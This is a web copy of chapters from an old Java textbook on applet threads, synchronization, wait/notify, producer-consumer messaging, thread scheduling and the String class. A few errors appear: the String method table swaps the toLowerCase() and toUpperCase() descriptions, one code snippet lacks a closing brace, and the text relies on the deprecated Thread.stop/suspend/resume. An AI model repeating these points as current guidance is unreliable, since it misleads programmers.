UpdateApplet illustrates an environmentally friendly way to deal with threads in a simple applet. UpdateApplet kills its thread each time the applet is stopped and recreates it if the applet is restarted. When UpdateApplet's start() method is called, we first check to make sure there is no currently executing updateThread. We then create one to begin our execution. When our applet is subsequently stopped, we kill the thread by invoking its stop() method and throw away the reference by setting it to null. Setting updateThread to null serves both to allow the garbage collector to clean up the dead Thread object, and to indicate to UpdateApplet's start() method that the thread is gone.

In truth, an Applet's start() and stop() methods are guaranteed to be called in sequence. As a result, we shouldn't have to check for the existence of updateThread in start() (it should always be null). However, it's good programming practice to perform the test. If we didn't, and for some reason stop() were to fail at its job, we might inadvertently start a lot of threads.

With UpdateApplet doing all of the work for us, we can now create the world's simplest clock applet with just a few lines of code. Figure 6.3 shows our Clock. (This might be a good one to run on your Java wrist watch.)

public class Clock extends UpdateApplet {
    public void paint( java.awt.Graphics g ) {
        g.drawString( new java.util.Date().toString(), 10, 25 );
    }
}

Figure 6.3: The clock applet

[Graphic: Figure 6-3]

The java.util.Date().toString() sequence simply creates a string that contains the current time; we'll see where this code comes from in Chapter 7, Basic Utility Classes.

Our Clock applet provides a good example of a simple thread; we don't mind throwing it away and subsequently rebuilding it if the user should happen to wander on and off of our Web page a few times. But what if the task that our thread handles isn't so simple? What if, for instance, we have to open a socket and establish a connection with another system? One solution is to use Thread's suspend() and resume() methods, as I'll show you momentarily.

Now if you've been wondering why we've been using stop() to kill the thread, rather than using the suspend() and resume() methods all along, here's the explanation you've been waiting for. The problem with applets is that we have no control over how a user navigates Web pages. For example, say a user scrolls our applet out of view, and we use suspend() to suspend the applet. Now we have no way of ensuring that the user will bring the applet back into view before moving on to another page. And actually, the same situation would occur if the user simply moves on to another page and never comes back.

If we call suspend(), we'd really like to make sure we call resume() at a later date, or we'll end up leaving the thread hanging in permanent suspense. But we have no way of knowing if the applet will ever be restarted, so just putting a call to resume() in the applet's start() method won't work. Leaving the suspended thread around forever might not hurt us, but it's not good programming practice to be wasteful. What we need is a way to guarantee we can clean up our mess if the applet is never used again. What to do?

There is a solution for this dilemma, but in many cases, like with our simple Clock, it's just easier to use stop(), with a subsequent call to start() if necessary. In cases where it is expensive to set up and tear down a thread, we could make the following modifications to UpdateApplet:

public void start() {
    if ( updateThread == null ) {
        updateThread = new Thread(this);
        updateThread.start();
    }
    else
        updateThread.resume();
}

public void stop() {
    updateThread.suspend();

public void destroy() {
    if ( updateThread != null ) {
        updateThread.stop();
        updateThread = null;
    }
}

These modifications change UpdateApplet so that it suspends and restarts its updateThread, rather than killing and recreating it. The new start() method creates the thread and calls start() if updateThread is null; otherwise it assumes that the thread has been suspended, so it calls resume(). The applet's stop() method simply suspends the thread by calling suspend().

What's new here is the destroy() method. This is another method that UpdateApplet inherits from the Applet class. The method is called by the Java environment when the applet is going to be removed (often from a cache). It provides a place where we can free up any resources the applet is holding. This is the perfect place to cut the suspense and clean up after our thread. In our destroy() method, we check to see that the thread exists, and if it does, we call stop() to kill it and set its reference to null.

Previous | Home | Next
Introducing Threads | Book Index | Synchronization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.3 Synchronization

Previous Chapter 6
Threads 		Next

6.3 Synchronization

Every thread has a life of its own. Normally, a thread goes about its business without any regard for what other threads in the application are doing. Threads may be time-sliced, which means they can run in arbitrary spurts and bursts as directed by the operating system. On a multiprocessor system, it is even possible for many different threads to be running simultaneously on different CPUs. This section is about coordinating the activities of two or more threads, so they can work together and not collide in their use of the same address space.

Java provides a few simple structures for synchronizing the activities of threads. They are all based on the concept of monitors, a widely used synchronization scheme developed by C.A.R. Hoare. You don't have to know the details about how monitors work to be able to use them, but it may help you to have a picture in mind.

A monitor is essentially a lock. The lock is attached to a resource that many threads may need to access, but that should be accessed by only one thread at a time. It's not unlike a public restroom at a gas station. If the resource is not being used, the thread can acquire the lock and access the resource. By the same token, if the restroom is unlocked, you can enter and lock the door. When the thread is done, it relinquishes the lock, just as you unlock the door and leave it open for the next person. However, if another thread already has the lock for the resource, all other threads have to wait until the current thread finishes and releases the lock, just as if the restroom is locked when you arrive, you have to wait until the current occupant is done and unlocks the door.

Fortunately, Java makes the process of synchronizing access to resources quite easy. The language handles setting up and acquiring locks; all you have to do is specify which resources require locks.

Serializing Methods

The most common need for synchronization among threads in Java is to serialize their access to some resource, namely an object. In other words, synchronization makes sure only one thread at a time can perform certain activities that manipulate an object. In Java, every object has a lock associated with it. To be more specific, every class and every instance of a class has its own lock. The synchronized keyword marks places where a thread must acquire the lock before proceeding.

For example, say we implemented a SpeechSynthesizer class that contains a say() method. We don't want multiple threads calling say() at the same time or we wouldn't be able to understand anything being said. So we mark the say() method as synchronized, which means that a thread has to acquire the lock on the SpeechSynthesizer object before it can speak:

class SpeechSynthesizer {

    synchronized void say( String words ) {
        // Speak
    }
}

Because say() is an instance method, a thread has to acquire the lock on the particular SpeechSynthesizer instance it is using before it can invoke the say() method. When say() has completed, it gives up the lock, which allows the next waiting thread to acquire the lock and run the method. Note that it doesn't matter whether the thread is owned by the SpeechSynthesizer itself or some other object; every thread has to acquire the same lock, that of the SpeechSynthesizer instance. If say() were a class (static) method instead of an instance method, we could still mark it as synchronized. But in this case as there is no instance object involved, the lock would be on the class object itself.

Often, you want to synchronize multiple methods of the same class, so that only one of the methods modifies or examines parts of the class at a time. All static synchronized methods in a class use the same class object lock. By the same token, all instance methods in a class use the same instance object lock. In this way, Java can guarantee that only one of a set of synchronized methods is running at a time. For example, a SpreadSheet class might contain a number of instance variables that represent cell values, as well as some methods that manipulate the cells in a row:

class SpreadSheet {

    int cellA1, cellA2, cellA3;

    synchronized int sumRow() {
        return cellA1 + cellA2 + cellA3;
    }

    synchronized void setRow( int a1, int a2, int a3 ) {
        cellA1 = a1;
        cellA2 = a2;
        cellA3 = a3;
    }
...
}

In this example, both methods setRow() and sumRow() access the cell values. You can see that problems might arise if one thread were changing the values of the variables in setRow() at the same moment another thread was reading the values in sumRow(). To prevent this, we have marked both methods as synchronized. When threads are synchronized, only one will be run at a time. If a thread is in the middle of executing setRow() when another thread calls sumRow(), the second thread waits until the first one is done executing setRow() before it gets to run sumRow(). This synchronization allows us to preserve the consistency of the SpreadSheet. And the best part is that all of this locking and waiting is handled by Java; it's transparent to the programmer.

In addition to synchronizing entire methods, the synchronized keyword can be used in a special construct to guard arbitrary blocks of code. In this form it also takes an explicit argument that specifies the object for which it is to acquire a lock:

synchronized ( myObject ) {
    // Functionality that needs to be synced
    ...
    }

The code block above can appear in any method. When it is reached, the thread has to acquire the lock on myObject before proceeding. In this way, we can have methods (or parts of methods) in different classes synchronized the same as methods in the same class.

A synchronized method is, therefore, equivalent to a method with its statements synchronized on the current object. Thus:

synchronized void myMethod () {
    ...
}

is equivalent to:

void myMethod () {
    synchronized ( this ) {
        ...
    }
}

wait( ) and notify( )

With the synchronized keyword, we can serialize the execution of complete methods and blocks of code. The wait() and notify() methods of the Object class extend this capability. Every object in Java is a subclass of Object, so every object inherits these methods. By using wait() and notify(), a thread can give up its hold on a lock at an arbitrary point, and then wait for another thread to give it back before continuing. All of the coordinated activity still happens inside of synchronized blocks, and still only one thread is executing at a given time.

By executing wait() from a synchronized block, a thread gives up its hold on the lock and goes to sleep. A thread might do this if it needs to wait for something to happen in another part of the application, as you'll see shortly. Later, when the necessary event happens, the thread that is running it calls notify() from a block synchronized on the same object. Now the first thread wakes up and begins trying to acquire the lock again.

When the first thread manages to reacquire the lock, it continues from the point it left off. However, the thread that waited may not get the lock immediately (or perhaps ever). It depends on when the second thread eventually releases the lock, and which thread manages to snag it next. Note also, that the first thread won't wake up from the wait() unless another thread calls notify(). There is an overloaded version of wait(), however, that allows us to specify a timeout period. If another thread doesn't call notify() in the specified period, the waiting thread automatically wakes up.

Let's look at a simple scenario to see what's going on. In the following example, we'll assume there are three threads--one waiting to execute each of the three synchronized methods of the MyThing class. We'll call them the waiter, notifier, and related threads, respectively. Here's a code fragment to illustrate:

class MyThing {

    synchronized void waiterMethod() {
        // Do some stuff

        // Now we need to wait for notifier to do something
        wait();

        // Continue where we left off
    }

    synchronized void notifierMethod() {
        // Do some stuff

        // Notify waiter that we've done it
        notify();

        // Do more things
    }

    synchronized void relatedMethod() {
        // Do some related stuff
    }

Let's assume waiter gets through the gate first and begins executing waiterMethod(). The two other threads are initially blocked, trying to acquire the lock for the MyThing object. When waiter executes the wait() method, it relinquishes its hold on the lock and goes to sleep. Now there are now two viable threads waiting for the lock. Which thread gets it depends on several factors, including chance and the priorities of the threads. (We'll discuss thread scheduling in the next section.)

Let's say that notifier is the next thread to acquire the lock, so it begins to run. waiter continues to sleep and related languishes, waiting for its turn. When notifier executes the call to notify(), Java prods the waiter thread, effectively telling it something has changed. waiter then wakes up and rejoins related in vying for the MyThing lock. Note that it doesn't actually receive the lock; it just changes from saying "leave me alone" to "I want the lock."

At this point, notifier still owns the lock and continues to hold it until it leaves its synchronized method (or perhaps executes a wait() itself ). When it finally completes, the other two methods get to fight over the lock. waiter would like to continue executing waiterMethod() from the point it left off, while unrelated, which has been patient, would like to get started. We'll let you choose your own ending for the story.

For each call to notify(), Java wakes up just one method that is asleep in a wait() call. If there are multiple threads waiting, Java picks the first thread on a first-in, first-out basis. The Object class also provides a notifyAll() call to wake up all waiting threads. In most cases, you'll probably want to use notifyAll() rather than notify(). Keep in mind that notify() really means "Hey, something related to this object has changed. The condition you are waiting for may have changed, so check it again." In general, there is no reason to assume only one thread at a time is interested in the change or able to act upon it. Different threads might look upon whatever has changed in different ways.

Often, our waiter thread is waiting for a particular condition to change and we will want to sit in a loop like the following:

...
while ( condition != true )
    wait();
...

Other synchronized threads call notify() or notifyAll() when they have modified the environment so that waiter can check the condition again. This is the civilized alternative to polling and sleeping, as you'll see the following example.

The Message Passer

Now we'll illustrate a classic interaction between two threads: a Producer and a Consumer. A producer thread creates messages and places them into a queue, while a consumer reads them out and displays them. To be realistic, we'll give the queue a maximum depth. And to make things really interesting, we'll have our consumer thread be lazy and run much slower than the producer. This means that Producer occasionally has to stop and wait for Consumer to catch up. The example below shows the Producer and Consumer classes.

import java.util.Vector;

class Producer extends Thread {
    static final int MAXQUEUE = 5;
    private Vector messages = new Vector();

    public void run() {
        try {
            while ( true ) {
                putMessage();
                sleep( 1000 );
            }
        }
        catch( InterruptedException e ) { }
    }

    private synchronized void putMessage()
        throws InterruptedException {

        while ( messages.size() == MAXQUEUE )
            wait();
        messages.addElement( new java.util.Date().toString() );
        notify();
    }

    // Called by Consumer
    public synchronized String getMessage()
        throws InterruptedException {
        notify();
        while ( messages.size() == 0 )
            wait();
        String message = (String)messages.firstElement();
        messages.removeElement( message );
        return message;
    }
}

class Consumer extends Thread {
    Producer producer;

    Consumer(Producer p) {
        producer = p;
    }

    public void run() {
        try {
            while ( true ) {
                String message = producer.getMessage();
                System.out.println("Got message: " + message);
                sleep( 2000 );
            }
        }
        catch( InterruptedException e ) { }
    }

    public static void main(String args[]) {
        Producer producer = new Producer();
        producer.start();
        new Consumer( producer ).start();
    }
}

For convenience, we have included a main() method that runs the complete example in the Consumer class. It creates a Consumer that is tied to a Producer and starts the two classes. You can run the example as follows:

% java Consumer

The output is the time-stamp messages created by the Producer:

Got message: Sun Dec 19 03:35:55 CST 1996
Got message: Sun Dec 19 03:35:56 CST 1996
Got message: Sun Dec 19 03:35:57 CST 1996
...

The time stamps initially show a spacing of one second, although they appear every two seconds. Our Producer runs faster than our Consumer. Producer would like to generate a new message every second, while Consumer gets around to reading and displaying a message only every two seconds. Can you see how long it will take the message queue to fill up? What will happen when it does?

Let's look at the code. We are using a few new tools here. Producer and Consumer are subclasses of Thread. It would have been a better design decision to have Producer and Consumer implement the Runnable interface, but we took the slightly easier path and subclassed Thread. You should find it fairly simple to use the other technique; you might try it as an exercise.

The Producer and Consumer classes pass messages through an instance of a java.util.Vector object. We haven't discussed the Vector class yet, but you can think of this one as a queue where we add and remove elements in first-in, first-out order. See Chapter 7, Basic Utility Classes for more information about the Vector class.

The important activity is in the synchronized methods: putMessage() and getMessage(). Although one of the methods is used by the Producer thread and the other by the Consumer thread, they both live in the Producer class because they have to be synchronized on the same object to work together. Here they both implicitly use the Producer object's lock. If the queue is empty, the Consumer blocks in a call in the Producer, waiting for another message.

Another design option would implement the getMessage() method in the Consumer class and use a synchronized code block to explicitly synchronize on the Producer object. In either case, synchronizing on the Producer is important because it allows us to have multiple Consumer objects that feed on the same Producer.

putMessage()'s job is to add a new message to the queue. It can't do this if the queue is already full, so it first checks the number of elements in messages. If there is room, it stuffs in another time stamp. If the queue is at its limit however, putMessage() has to wait until there's space. In this situation, putMessage() executes a wait() and relies on the consumer to call notify() to wake it up after a message has been read. Here we have putMessage() testing the condition in a loop. In this simple example, the test probably isn't necessary; we could assume that when putMessage() wakes up, there is a free spot. However, this test is another example of good programming practice. Before it finishes, putMessage() calls notify() itself to prod any Consumer that might be waiting on an empty queue.

getMessage() retrieves a message for the Consumer. It enters a loop like the Producer's, waiting for the queue to have at least one element before proceeding. If the queue is empty, it executes a wait() and expects the producer to call notify() when more items are available. Notice that getMessage() makes its own unconditional call to notify(). This is a somewhat lazy way of keeping the Producer on its toes, so that the queue should generally be full. Alternatively, getMessage() might test to see if the queue had fallen below a low water mark before waking up the producer.

Now let's add another Consumer to the scenario, just to make things really interesting. Most of the necessary changes are in the Consumer class; the example below shows the code for the modified class.

class Consumer extends Thread {
    Producer producer;
        String name;

    Consumer(String name, Producer producer) {
        this.producer = producer;
        this.name = name;
    }

    public void run() {
        try {
            while ( true ) {
                String message = producer.getMessage();
                System.out.println(name + " got message: " + message);
                sleep( 2000 );
            }
        }
        catch( InterruptedException e ) { }
    }

    public static void main(String args[]) {
        Producer producer = new Producer();
        producer.start();

        // Start two this time
        new Consumer( "One", producer ).start();
        new Consumer( "Two", producer ).start();
    }
}

The Consumer constructor now takes a string name, to identify each consumer. The run() method uses this name in the call to println() to identify which consumer received the message.

The only modification to make in the Producer code is to change the call to notify() in putMessage() to a call to notifyAll(). Now, instead of the consumer and producer playing tag with the queue, we can have many players waiting on the condition of the queue to change. We might have a number of consumers waiting for a message, or we might have the producer waiting for a consumer to take a message. Whenever the condition of the queue changes, we prod all of the waiting methods to reevaluate the situation by calling notifyAll(). Note, however, that we don't need to change the call to notify() in getMessage(). If a Consumer thread is waiting for a message to appear in the queue, it's not possible for the Producer to be simultaneously waiting because the queue is full.

Here is some sample output when there are two consumers running, as in the main() method shown above:

One got message: Wed Mar 20 20:00:01 CST 1996
Two got message: Wed Mar 20 20:00:02 CST 1996
One got message: Wed Mar 20 20:00:03 CST 1996
Two got message: Wed Mar 20 20:00:04 CST 1996
One got message: Wed Mar 20 20:00:05 CST 1996
Two got message: Wed Mar 20 20:00:06 CST 1996
One got message: Wed Mar 20 20:00:07 CST 1996
Two got message: Wed Mar 20 20:00:08 CST 1996
...

We see nice, orderly alternation between the two consumers, as a result of the calls to sleep() in the various methods. Interesting things would happen, however, if we were to remove all of the calls to sleep() and let things run at full speed. The threads would compete and their behavior would depend on whether or not the system is using time slicing. On a time-sliced system, there should be a fairly random distribution between the two consumers, while on a nontime-sliced system, a single consumer could monopolize the messages. And since you're probably wondering about time slicing, let's talk about thread priority and scheduling.

Previous | Home | Next
Threading Applets | Book Index | Scheduling and Priority
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.4 Scheduling and Priority

Previous Chapter 6
Threads 		Next

6.4 Scheduling and Priority

Java makes certain guarantees as to how its threads are scheduled. Every thread has a priority value. If, at any time, a thread of a higher priority than the current thread becomes runnable, it preempts the lower priority thread and begins executing. By default, threads at the same priority are scheduled round robin, which means once a thread starts to run, it continues until it does one of the following:

Sleeps

Calls Thread.sleep() or wait()

Waits for lock

Waits for a lock in order to run a synchronized method

Blocks on I/O

Blocks, for example, in a xread() or an accept() call

Explicitly yields control

Calls yield()

Terminates

Completes its target method or is terminated by a stop() call

This situation looks something like what's shown in Figure 6.4.

Figure 6.4: Priority preemptive, round robin scheduling

[Graphic: Figure 6-4]

Java leaves certain aspects of scheduling up to the implementation.[2] The main point here is that some, but not all, implementations of Java use time slicing on threads of the same priority.[3] In a time-sliced system, thread processing is chopped up, so that each thread runs for a short period of time before the context is switched to the next thread, as shown in Figure 6.5.

[2] This implementation-dependent aspect of Java isn't a big deal, since it doesn't hurt for an implementation to add time slicing on top of the default round-robin scheduling. It's actually not hard to create a time-slicing effect by simply having a high-priority thread sleeping for a specified time interval. Every time it wakes up, it interrupts a lower-priority thread and causes processing to shift round robin to the next thread.

[3] As of Java Release 1.0, Sun's Java Interpreter for the Windows 95 and Windows NT platforms uses time slicing, as does the Netscape Navigator Java environment. Sun's Java 1.0 for the Solaris UNIX platforms doesn't.

Higher priority threads still preempt lower priority threads in this scheme. The addition of time slicing mixes up the processing among threads of the same priority; on a multiprocessor machine, threads may even be run simultaneously. Unfortunately, this feature can lead to differences in your application's behavior.

Figure 6.5: Priority preemptive, time-sliced scheduling

[Graphic: Figure 6-5]

Since Java doesn't guarantee time slicing, you shouldn't write code that relies on this type of scheduling; any software you write needs to function under the default round-robin scheduling. But if you're wondering what your particular flavor of Java does, try the following experiment:

class Thready {
    public static void main( String args [] ) {
        new MyThread("Foo").start();
        new MyThread("Bar").start();
    }
}

class MyThread extends Thread {
    String message;

    MyThread ( String message ) {
        this.message = message;
    }

    public void run() {
        while ( true )
            System.out.println( message );
    }
}

The Thready class starts up two MyThread objects. Thready is a thread that goes into a hard loop (very bad form) and prints its message. Since we don't specify a priority for either thread, they both inherit the priority of their creator, so they have the same priority. When you run this example, you will see how your Java implementation does it scheduling. Under a round-robin scheme, only "Foo" should be printed; "Bar" never appears. In a time-slicing implementation, you should occasionally see the "Foo" and "Bar" messages alternate.

Priorities

Now let's change the priority of the second thread:

class Thready {
    public static void main( String args [] ) {
        new MyThread("Foo").start();
        Thread bar = new MyThread("Bar");
        bar.setPriority( Thread.NORM_PRIORITY + 1 );
        bar.start();
    }
}

As you might expect, this changes how our example behaves. Now you may see a few "Foo" messages, but "Bar" should quickly take over and not relinquish control, regardless of the scheduling policy.

Here we have used the setPriority() method of the Thread class to adjust our thread's priority. The Thread class defines three standard priority values, as shown in Table 6.1.

Table 6.1: Thread Priority Values
Value | Definition
MIN_PRIORITY | Minimum priority
NORM_PRIORITY | Normal priority
MAX_PRIORITY | Maximum priority

If you need to change the priority of a thread, you should use one of these values or a close relative value. But let me warn you against using MAX_PRIORITY or a close relative value; if you elevate many threads to this priority level, priority will quickly become meaningless. A slight increase in priority should be enough for most needs. For example, specifying NORM_PRIORITY + 1 in our example is enough to beat out our other thread.

Yielding

As I said earlier, whenever a thread sleeps, waits, or blocks on I/O, it gives up its time slot, and another thread is scheduled. So as long as you don't write methods that use hard loops, all threads should get their due. However, a Thread can also give up its time voluntarily with the yield() call. We can change our previous example to include a yield() on each iteration:

class MyThread extends Thread {
    ...

    public void run() {
        while ( true ) {
            System.out.println( message );
            yield();
        }
    }
}

Now you should see "Foo" and "Bar" messages alternating one for one. If you have threads that perform very intensive calculations, or otherwise eat a lot of CPU time, you might want to find an appropriate place for them to yield control occasionally. Alternatively, you might want to drop the priority of your intensive thread, so that more important processing can proceed around it.

Previous | Home | Next
Synchronization | Book Index | Basic Utility Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] Basic Utility Classes

Previous Chapter 7 Next

7. Basic Utility Classes

Contents:
Strings
Math Utilities
Dates
Vectors and Hashtables
Properties
The Security Manager
Internationalization

If you've been reading this book sequentially, you've
read all about the core Java language constructs, including the
object-oriented aspects of the language and the use of threads. Now
it's time to shift gears and talk about the Java Application
Programming Interface (API), the collection of
classes that comes with every Java implementation. The
Java API encompasses all the public methods and
variables in the classes that comprise the core Java packages,
listed in Table 7.1. This table also lists the
chapters in this book that describe each of the packages.

Table 7.1: Packages of the Java API
Package | Contents | Chapter(s)
java.lang | Basic language classes | 4, 5, 6, 7
java.io | Input and output | 8
java.util | Utilities and collections classes | 7
java.text | International text classes | 7
java.net | Sockets and URLs | 9
java.applet | The applet API | 10
java.awt | The Abstract Windowing Toolkit | 10, 11, 12, 13, 14
java.awt.image | AWT image classes | 13, 14
java.beans | Java Beans API |
java.rmi | RMI classes |
java.security | Encryption and signing |
java.sql | JDBC classes |

As you can see in Table 7.1, we've
already examined some of the classes in java.lang
in earlier chapters on the core language constructs. Starting with
this chapter, we'll throw open the Java toolbox and begin
examining the rest of the classes in the API.

We'll begin our exploration with some of the fundamental
language classes in java.lang, including strings
and math utilities. Figure 7.1 shows the class
hierarchy of the java.lang package.

Figure 7.1: The java.lang package

  [Graphic: Figure 7-1]

We cover some of the classes in java.util,
such as classes that support date and time values, random numbers, vectors,
and hashtables. Figure 7.2 shows the class hierarchy
of the java.util package.

Figure 7.2: The java.util package

  [Graphic: Figure 7-2]

7.1 Strings

In this section, we take a closer look at the Java
String class (or more specifically,
java.lang.String). Because strings are used so
extensively throughout Java (or any programming language, for that
matter), the Java String class has quite a bit of
functionality. We'll test drive most of the important features,
but before you go off and
write a complex parser or regular expression
library, you should probably refer to a Java class reference manual
for additional details.

Strings are immutable; once you create a
String object, you can't change its
value. Operations that would otherwise change the characters or the
length of a string instead return a new String
object that copies the needed parts of the original. Because of this
feature, strings can be safely shared. Java makes an effort to
consolidate identical strings and string literals in the same class
into a shared string pool.

String Constructors

To create a string, assign a double-quoted constant
to a String variable:

String quote = "To be or not to be";

Java automatically converts the string literal into a
String object. If you're a C or C++
programmer, you may be wondering if quote is
null-terminated. This question doesn't make any sense with Java
strings. The String class actually uses a Java
character array internally. It's private to the
String class, so you can't get at the
characters and change them. As always, arrays in Java are real objects
that know their own length, so String objects in
Java don't require special terminators (not even internally).
 If you
need to know the length of a String, use the
length() method:

int length = quote.length();

Strings can take advantage of the only overloaded operator in Java,
the + operator, for string concatenation. The
following code produces equivalent strings:

String name = "John " + "Smith";
String name = "John ".concat("Smith");

Literal strings can't span lines in Java source files, but we can concatenate
lines to produce the same effect:

String poem =
    "'Twas brillig, and the slithy toves\n" +
    "   Did gyre and gimble in the wabe:\n" +
    "All mimsy were the borogoves,\n" +
    "   And the mome raths outgrabe.\n";

Of course, embedding lengthy text in source code should now be a thing
of the past, given that we can retrieve a String
from anywhere on the planet via a URL. In Chapter 9, Network Programming, we'll see how to do things like:

String poem =
    (String) new URL
       ("http://server/~dodgson/jabberwocky.txt").getContent();

In addition to making strings from literal expressions, we can construct
a String from an array of characters:

char [] data = { 'L', 'e', 'm', 'm', 'i', 'n', 'g' };
String lemming = new String( data );

Or from an array of bytes:

byte [] data = { 97, 98, 99 };
String abc = new String(data, "8859_5");

The second argument to the String constructor
for byte arrays is the name of an encoding scheme. It's used to convert the
given bytes to the
string's Unicode characters. Unless you know something
about Unicode, you can probably use the form of the constructor that
accepts only a byte array; the default encoding scheme will be used.

Strings from Things

We can get the string representation of most things with the static String.valueOf()
method. Various overloaded versions of this method give us string values
for all of the primitive types:

String one = String.valueOf( 1 );
String two = String.valueOf( 2.0f );
String notTrue = String.valueOf( false );

All objects in Java have a toString() method,
inherited from the Object class (see Chapter 5, Objects in Java). For class-type references,
String.valueOf() invokes the object's
toString() method to get its string
representation. If the reference is null, the
result is the literal string "null":

String date = String.valueOf( new Date() );
System.out.println( date );
// Sun Dec 19 05:45:34 CST 1999

date = null;
System.out.println( date );
// null

Things from Strings

Producing primitives like numbers from String
objects is not a function of the String class. For
that we need the primitive wrapper classes; they are described in the
next section on the Math class. The wrapper classes
provide valueOf() methods that produce an object
from a String, as well as corresponding methods to
retrieve the value in various primitive forms. Two examples are:

int i = Integer.valueOf("123").intValue();
double d = Double.valueOf("123.0").doubleValue();

In the above code, the Integer.valueOf() call
yields an Integer object that represents the value
123. An Integer object can provide its primitive
value in the form of an int with the
intValue() method.

Although the techniques above may work for simple cases, they will
not work internationally.  Let's pretend for a moment that we are programming
Java in the rolling hills of Tuscany.  We would follow the local
customs for representing numbers and write code like the following.

double d = Double.valueOf("1.234,56").doubleValue();    // oops!

Unfortunately, this code throws a
NumberFormatException.  The
java.text package, which we'll
discuss later, contains
the tools we need to generate and parse strings in different
countries and languages.

The charAt() method of the
String class lets us get at the characters of a
String in an array-like fashion:

String s = "Newton";

for ( int i = 0; i < s.length(); i++ )     System.out.println( s.charAt( i ) );

This code prints the characters of the string one at a time.
Alternately, we can get the characters all at once with
toCharArray(). Here's a way to save typing a
bunch of single quotes:

char [] abcs = "abcdefghijklmnopqrstuvwxyz".toCharArray();

Comparisons

Just as in C, you can't compare strings for equality with
"==" because as in C, strings are actually
references. If your Java compiler doesn't happen to coalesce
multiple instances of the same string literal to a single string pool
item, even the expression "foo"
== "foo" will return
false. Comparisons with <,
>, <=, and >=
don't work at all, because Java can't convert references to
integers.

Use the equals() method to compare strings:

String one = "Foo";

char [] c = { 'F', 'o', 'o' };
String two = new String ( c );

if ( one.equals( two ) )                // yes

An alternate version, equalsIgnoreCase(), can
be used to check the equivalence of strings in a case-insensitive way:

String one = "FOO";
String two = "foo";

if ( one.equalsIgnoreCase( two ) )      // yes

The compareTo() method compares the lexical value
of the String against another
String. It returns an integer that is less than,
equal to, or greater than zero, just like the C routine
string():

String abc = "abc";
String def = "def";
String num = "123";

if ( abc.compareTo( def ) < 0 )         // yes
if ( abc.compareTo( abc ) == 0 )        // yes
if ( abc.compareTo( num ) > 0 )         // yes

On some systems, the behavior of lexical comparison is complex, and
obscure alternative character sets exist. Java avoids this problem by
comparing characters strictly by their position in the Unicode
specification.

In Java 1.1, the java.text package
provides a sophisticated set of classes for comparing strings,
even in different languages.  German, for example, has vowels
with umlauts (those funny dots) over them and a weird-looking
beta character that represents a double-s.  How should we
sort these? Although the rules for sorting these characters are
precisely defined, you can't assume that the lexical comparison we
used above works correctly for languages other than English.
Fortunately, the
Collator class takes care of these complex
sorting problems.  In the
following example, we use a Collator
designed to compare German strings.  (We'll talk about
Locales in a later section.)  You can
obtain a default Collator by calling
the Collator.getInstance() method that has no
arguments.  Once you
have an appropriate Collator
instance, you can use its compare() method,
which returns values just like String's
compareTo() method.  The code below
creates two strings for the German translations of "fun" and "later,"
using Unicode constants for these two special characters.
It then compares them, using a Collator
for the German locale; the result is that "later" (spaeter) sorts
before "fun" (spass).

String fun = "Spa\u00df";
String later = "sp\u00e4ter";
Collator german = Collator.getInstance(Locale.GERMAN);
if (german.compare(later, fun) < 0)  // yes

Using collators is essential if you're working with languages other
than English. In Spanish, for example, "ll" and "ch" are treated as
separate characters, and alphabetized separately. A collator handles
cases like these automatically.

Searching

The String class provides several methods for
finding substrings within a string. The
startsWith() and endsWith()
methods compare an argument String with the
beginning and end of the String, respectively:

String url = "http://foo.bar.com/";
if ( url.startsWith("http:") )
    // do HTTP

Overloaded versions of indexOf() search for the
first occurrence of a character or substring:

int i = abcs.indexOf( 'p' );            // i = 15
int i = abcs.indexOf( "def" );          // i = 3

Correspondingly, overloaded versions of
lastIndexOf() search for the last occurrence of a
character or substring.

Editing

A number of methods operate on the String and
return a new String as a result. While this is
useful, you should be aware that creating lots of strings in this manner
can affect performance. If you need to modify a string often, you should
use the StringBuffer class, as I'll discuss
shortly.

trim() is a useful method that removes
leading and trailing white space (i.e., carriage return, newline, and
tab) from the String:

String abc = "   abc   ";
abc = abc.trim();                       // "abc"

In the above example, we have thrown away the original
String (with excess white space), so it will be
garbage collected.

The toUpperCase() and
toLowerCase() methods return a new
String of the appropriate case:

String foo = "FOO".toLowerCase();
String FOO = foo.toUpperCase();

substring() returns a specified range of
characters. The starting index is inclusive; the ending is exclusive:

String abcs = "abcdefghijklmnopqrstuvwxyz";
String cde = abcs.substring(2, 5);      // "cde"

String Method Summary

Many people complain when they discover the Java
String class is final (i.e., it
can't be subclassed). There is a lot of functionality in
String, and it would be nice to be able to modify
its behavior directly. Unfortunately, there is also a serious need to
optimize and rely on the performance of String
objects. As I discussed in Chapter 5, Objects in Java, the Java
compiler can optimize final classes by inlining
methods when appropriate. The implementation of
final classes can also be trusted by classes that
work closely together, allowing for special cooperative
optimizations. If you want to make a new string class that uses basic
String functionality, use a
String object in your class and provide methods
that delegate method calls to the appropriate
String methods.

Table 7.2 summarizes the methods provided
by the String class.

Table 7.2: String Methods
Method | Functionality
charAt() | Gets at a particular character in the string
compareTo() | Compares the string with another string
concat() | Concatenates the string with another string
copyValueOf() | Returns a string equivalent to the specified character array
endsWith() | Checks if the string ends with a suffix
equals() | Compares the string with another string
equalsIgnoreCase() | Compares the string with another string and ignores case
getBytes() | Copies characters from the string into a byte array
getChars() | Copies characters from the string into a character array
hashCode() | Returns a hashcode for the string
indexOf() | Searches for the first occurrence of a character or substring in the string
intern() | Fetches a unique instance of the string from a global shared string pool
lastIndexOf() | Searches for the last occurrence of a character or substring in a string
length() | Returns the length of the string
regionMatches() | Checks whether a region of the string matches the specified region of another string
replace() | Replaces all occurrences of a character in the string with another character
startsWith() | Checks if the string starts with a prefix
substring() | Returns a substring from the string
toCharArray() | Returns the array of characters from the string
toLowerCase() | Converts the string to uppercase
toString() | Converts the string to a string
toUpperCase() | Converts the string to lowercase
trim() | Removes the leading and trailing white space from the string
valueOf() | Returns a string representation of a value

java.lang.StringBuffer

The java.lang.StringBuffer class is a growable
buffer for characters. It's an efficient alternative to
code like the following:

String ball = "Hello";
ball = ball + " there.";
ball = ball + " How are you?";

The above example repeatedly produces new String
objects. This means that the character array must be copied over and
over, which can adversely affect performance. A more economical
alternative is to use a StringBuffer object and its
append() method:

StringBuffer ball = new StringBuffer("Hello");
ball.append(" there.");
ball.append(" How are you?");

The StringBuffer class actually provides a number
of overloaded append() methods, for appending
various types of data to the buffer.

We can get a String from the
StringBuffer with its
toString() method:

String message = ball.toString();

